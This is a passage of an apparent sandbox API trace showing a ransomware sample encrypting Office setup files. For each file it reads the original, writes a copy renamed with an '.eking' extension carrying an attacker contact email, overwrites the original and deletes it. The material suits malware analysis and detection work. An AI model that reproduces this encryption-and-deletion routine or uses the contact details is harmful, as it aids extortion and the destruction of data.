dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0279.249] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0279.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0279.257] ReadFile (in: hFile=0x1c8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x646, lpOverlapped=0x0) returned 1 [0279.288] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x650, lpOverlapped=0x0) returned 1 [0279.289] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0279.290] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0279.290] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0279.290] WriteFile (in: hFile=0x1c8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x646, lpOverlapped=0x0) returned 1 [0279.290] FlushFileBuffers (hFile=0x1c8) returned 1 [0279.320] FlushFileBuffers (hFile=0x19c) returned 1 [0279.331] CloseHandle (hObject=0x1c8) returned 1 [0279.332] CloseHandle (hObject=0x19c) returned 1 [0279.332] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0279.333] SetEvent (hEvent=0xe0) returned 1 [0279.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0279.334] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=7379816) returned 1 [0279.334] CloseHandle (hObject=0x19c) returned 1 [0279.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0279.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0279.334] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0279.335] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0279.335] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0279.335] ReadFile (in: hFile=0x19c, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0279.347] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0279.347] ReadFile (in: hFile=0x19c, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0279.464] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0279.464] ReadFile (in: hFile=0x19c, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0279.652] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0279.652] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0279.744] SetEndOfFile (hFile=0x19c) returned 1 [0279.744] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x6c9b68, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0279.744] WriteFile (in: hFile=0x19c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0279.745] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x258922, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0279.745] WriteFile (in: hFile=0x19c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0279.748] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0279.748] WriteFile (in: hFile=0x19c, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0279.749] FlushFileBuffers (hFile=0x19c) returned 1 [0280.171] CloseHandle (hObject=0x19c) returned 1 [0280.171] SetEvent (hEvent=0xe0) returned 1 [0280.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0280.173] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1463568) returned 1 [0280.173] CloseHandle (hObject=0xc0) returned 1 [0280.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0280.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0280.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0280.174] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.174] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0280.175] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0280.383] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0280.441] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x55410, lpOverlapped=0x0) returned 1 [0280.445] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x55420, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x55420, lpOverlapped=0x0) returned 1 [0280.453] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0280.453] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.453] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.453] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0280.461] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5540e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x5540e, lpOverlapped=0x0) returned 1 [0280.462] FlushFileBuffers (hFile=0xc0) returned 1 [0280.574] FlushFileBuffers (hFile=0x19c) returned 1 [0280.684] CloseHandle (hObject=0xc0) returned 1 [0280.684] CloseHandle (hObject=0x19c) returned 1 [0280.684] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 1 [0280.700] SetEvent (hEvent=0xe0) returned 1 [0280.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0280.701] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=15736) returned 1 [0280.701] CloseHandle (hObject=0x19c) returned 1 [0280.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0280.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0280.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0280.702] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.702] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0280.702] ReadFile (in: hFile=0x19c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x3d78, lpOverlapped=0x0) returned 1 [0280.711] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x3d80, lpOverlapped=0x0) returned 1 [0280.712] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x112, lpOverlapped=0x0) returned 1 [0280.712] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.712] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.712] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x3d78, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x3d78, lpOverlapped=0x0) returned 1 [0280.713] FlushFileBuffers (hFile=0x19c) returned 1 [0280.828] FlushFileBuffers (hFile=0xc0) returned 1 [0280.897] CloseHandle (hObject=0x19c) returned 1 [0280.919] CloseHandle (hObject=0xc0) returned 1 [0280.919] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0280.920] SetEvent (hEvent=0xe0) returned 1 [0280.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0280.928] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=6421) returned 1 [0280.928] CloseHandle (hObject=0xc0) returned 1 [0280.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0280.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0280.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0280.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.928] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0280.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0280.929] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x1915, lpOverlapped=0x0) returned 1 [0280.954] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x1920, lpOverlapped=0x0) returned 1 [0280.955] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0280.955] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.956] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0280.956] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x1915, lpOverlapped=0x0) returned 1 [0280.956] FlushFileBuffers (hFile=0xc0) returned 1 [0281.018] FlushFileBuffers (hFile=0x19c) returned 1 [0281.078] CloseHandle (hObject=0xc0) returned 1 [0281.078] CloseHandle (hObject=0x19c) returned 1 [0281.079] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0281.080] SetEvent (hEvent=0xe0) returned 1 [0281.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0281.082] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1347) returned 1 [0281.082] CloseHandle (hObject=0x100) returned 1 [0281.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0281.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0281.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0281.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0281.083] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0281.083] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0281.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x19c [0281.083] ReadFile (in: hFile=0x100, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x543, lpOverlapped=0x0) returned 1 [0281.141] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x550, lpOverlapped=0x0) returned 1 [0281.164] WriteFile (in: hFile=0x19c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0281.164] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0281.165] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0281.165] WriteFile (in: hFile=0x100, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x543, lpOverlapped=0x0) 